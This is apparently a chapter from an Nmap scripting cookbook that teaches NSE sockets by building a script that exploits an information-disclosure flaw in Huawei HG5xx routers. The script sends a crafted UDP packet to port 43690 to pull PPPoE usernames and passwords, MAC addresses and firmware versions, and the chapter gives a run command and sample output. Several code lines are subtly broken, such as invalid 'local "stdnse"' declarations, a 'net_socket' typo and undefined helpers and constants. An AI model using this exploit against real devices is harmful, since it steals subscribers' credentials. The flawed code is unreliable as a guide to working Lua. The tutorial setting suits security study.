Sending UDP payloads by using NSE sockets

The Nmap Scripting Engine offers a robust library for handling networking I/O operations by providing an interface to Nsock. Nsock is Nmap's optimized parallel sockets library, and its flexibility allows developers to handle raw packets and decide whether to use blocking or non-blocking network I/O operations.

This recipe will go through the process of writing an NSE script that reads a payload from a file and sends a UDP packet to exploit a vulnerability in Huawei HG5xx routers.

How to do it...

Huawei HG5xx routers reveal sensitive information when they receive a special packet to UDP port 43690. This vulnerability caught my attention because this is a very popular device, works remotely, and obtains interesting information such as the PPPoE credentials, MAC address, and exact software/firmware version. Let's write a script to exploit these devices:

  1. To start, create the file huawei-hg5xx-udpinfo.nse and define the information tags:
    description=[[
    Tries to obtain the PPPoE credentials, MAC address, firmware version and IP information of the aDSL modemsHuawei Echolife 520, 520b, 530 and possibly others by exploiting an information disclosure vulnerability via UDP.
    
    The script works by sending a crafted UDP packet to port 43690 and then parsing the response that containsthe configuration values. This exploit has been reported to be blocked in some ISPs, in those cases the exploit seems to work fine in local networks.
    Vulnerability discovered by Pedro Joaquin. No CVE assigned.
    
    References:
    * http://www.hakim.ws/huawei/HG520_udpinfo.tar.gz
    * http://websec.ca/advisories/view/Huawei-HG520c-3.10.18.x-information-disclosure
    ]]
  2. Load the required libraries (Nmap 6.x format):
    local "stdnse" = require "stdnse"
    local "io" = require "io"
    local "shortport" = require "shortport"
  3. Define the execution rule:
    portrule = shortport.portnumber(43690, "udp", {"open", "open|filtered","filtered"})
  4. Create a function to load the UDP payload from a file:
    load_udp_payload = function()
      local payload_l = nmap.fetchfile(PAYLOAD_LOCATION)
      if (not(payload_l)) then
        stdnse.print_debug(1, "%s:Couldn't locate payload %s", SCRIPT_NAME, PAYLOAD_LOCATION)
        return
      end
      local payload_h = io.open(payload_l, "rb")
      local payload = payload_h:read("*a")
      if (not(payload)) then
        stdnse.print_debug(1, "%s:Couldn't load payload %s", SCRIPT_NAME, payload_l)
        if nmap.verbosity()>=2 then
          return "[Error] Couldn't load payload"
        end
        return
      end
    
      payload_h:flush()
      payload_h:close()
      return payload
    end
  5. Create a function that creates an NSE socket and sends the special UDP packet:
    send_udp_payload = function(ip, timeout, payload)
      local data
      stdnse.print_debug(2, "%s:Sending UDP payload", SCRIPT_NAME)
      local socket = nmap.new_socket("udp")
      socket:set_timeout(tonumber(timeout))
      local status = socket:connect(ip, HUAWEI_UDP_PORT, "udp")
      if (not(status)) then return end
      status = socket:send(payload)
      if (not(status)) then return end
      status, data = socket:receive()
      if (not(status)) then
        socket:close()
        return
      end
      socket:close()
      return data
    end
  6. Add the main method, which will load and send the UDP payload:
    action = function(host, port)
      local timeout = stdnse.get_script_args(SCRIPT_NAME..".timeout") or 3000
      local payload = load_udp_payload()
      local response = send_udp_payload(host.ip, timeout, payload)
      if response then
        return parse_resp(response)
      end
    end
  7. You may run the final script with the following command:
    # nmap -sU -p43690 --script huawei-hg5xx-udpinfo <target>
    

A vulnerable device will return the following output:

PORT      STATE         SERVICE REASON
-- 43690/udp open|filtered unknown no-response
-- |_huawei5xx-udp-info: |x10||||||||<Firmware version>|||||||||||||||||||||||||||||||<MAC addr>|||<Software version>||||||||||||||||||||||||||||||||||||||||||||| <local ip>|||||||||||||||||||<remote ip>||||||||||||||||||<model>|||||||||||||||<pppoe user>|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||<pppoe password>

How it works...

Our script huawei-hg5xx-udpinfo defined the execution rule with the alias shortport.portnumber(ports, protos, states). Our script will run if UDP port 43690 is either open, open|filtered or filtered:

portrule = shortport.portnumber(43690, "udp", {"open", "open|filtered","filtered"})

You can read NSE arguments in a few different ways, but the recommended function is stdnse.get_script_args(). This allows multiple assignments and supports shorthand assignment (you don't have to type the script name before the argument name):

local timeout = stdnse.get_script_args(SCRIPT_NAME..".timeout") or 3000

NSE sockets are managed by the nmap library. To create an NSE socket, use the function nmap.new_socket() and to connect to this socket, use connect():

local socket = nmap.new_socket("udp")
socket:set_timeout(tonumber(timeout))
local status = socket:connect(ip, HUAWEI_UDP_PORT, "udp")

We send our UDP payload as follows:

status = socket:send(payload)

We read the response from the NSE socket:

status, data = socket:receive()

As always, we need to close the sockets when we are done by using the function close():

local socket = nmap.net_socket("udp")
…
socket:close()

Now we can process the received data. In this case I will replace the null characters for an output that is easier to read:

return data:gsub("%z", "|")

You can download the complete script from https://github.com/cldrn/nmap-nse-scripts/blob/master/scripts/6.x/huawei5xx-udp-info.nse.

There's more...

The script huawei-hg5xx-udpinfo uses a standard connect-style in which a socket is created, the connection is established, data is sent and/or received, and the connection is closed.

If you need more control, the nmap library also supports reading and writing raw packets. The scripting engine uses a libpcap wrapper through Nsock to read raw packets, and can send them at either the Ethernet or IP layer.

When reading raw packets you will need to open the capture device and register a listener that will process the packets as they arrive. The functions pcap_open(), pcap_receive(), and pcap_close() correspond to opening a capture device, receiving packets, and closing the listener. I recommend that you look at the scripts sniffer-detect (http://nmap.org/nsedoc/scripts/sniffer-detect.html), firewalk (http://nmap.org/svn/scripts/firewalk.nse), and ipidseq (http://nmap.org/svn/scripts/ipidseq.nse).

If you need to send raw packets, create a dnet object with nmap.new_dnet() and, depending on the layer, (IP or Ethernet), use the methods ip_open() or ethernet_open() to open a connection. To actually send the raw packets, use the functions ip_send() or ethernet_send() as appropriate. The following snippets from the script ipidseq.nse illustrate the procedure:

local genericpkt = function(host, port)
        local pkt = bin.pack("H",
                "4500 002c 55d1 0000 8006 0000 0000 0000" ..
                "0000 0000 0000 0000 0000 0000 0000 0000" ..
                "6002 0c00 0000 0000 0204 05b4"
        )
        local tcp = packet.Packet:new(pkt, pkt:len())
        tcp:ip_set_bin_src(host.bin_ip_src)
        tcp:ip_set_bin_dst(host.bin_ip)
        tcp:tcp_set_dport(port)
        updatepkt(tcp)
        return tcp
end
...
local sock = nmap.new_dnet()
try(sock:ip_open())
try(sock:ip_send(tcp.buf))
sock:ip_close()

I encourage you to read the entire documentation of these libraries at http://nmap.org/nsedoc/lib/nmap.html. If you are working with raw packets, the library packet will help you a lot too (http://nmap.org/nsedoc/lib/packet.html).

Exception handling

The library nmap provides an exception handling mechanism for NSE scripts that is designed to help with networking I/O tasks.

The exception handling mechanism from the nmap library works as expected. We wrap the code that we want to monitor for exceptions inside a nmap.try() call. The first value returned by the function indicates the completion status. If it returns false or nil, the second returned value must be an error string. The rest of the return values in a successful execution can be set and used as you wish. The catch function defined by nmap.new_try() will execute when an exception is raised.

The following example code is a snippet of the script mysql-vuln-cve2012-2122.nse (http://nmap.org/nsedoc/scripts/mysql-vuln-cve2012-2122.html). In this script, a catch function performs some simple garbage collection if a socket is left open:

local catch = function()  socket:close() end
local try = nmap.new_try(catch)
…
  try( socket:connect(host, port) )
  response = try( mysql.receiveGreeting(socket) )

The official documentation of the NSE library nmap can be found at http://nmap.org/nsedoc/lib/nmap.html.

Debugging Nmap scripts

If something unexpected happens, turn on debugging to get additional information. Nmap uses the flag -d for debugging and you can set any integer between 0 and 9:

$ nmap -p80 --script http-google-email -d4 <target>

See also

  • The Making HTTP requests to identify vulnerable Trendnet webcams recipe
  • The Exploiting a path traversal vulnerability with NSE recipe
  • The Writing a brute force script recipe
  • The Working with the web crawling library recipe
  • The Reporting vulnerabilities correctly in NSE scripts recipe
  • The Writing your own NSE library recipe
  • The Working with NSE threads, condition variables, and mutexes in NSE recipe
..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset
18.118.37.254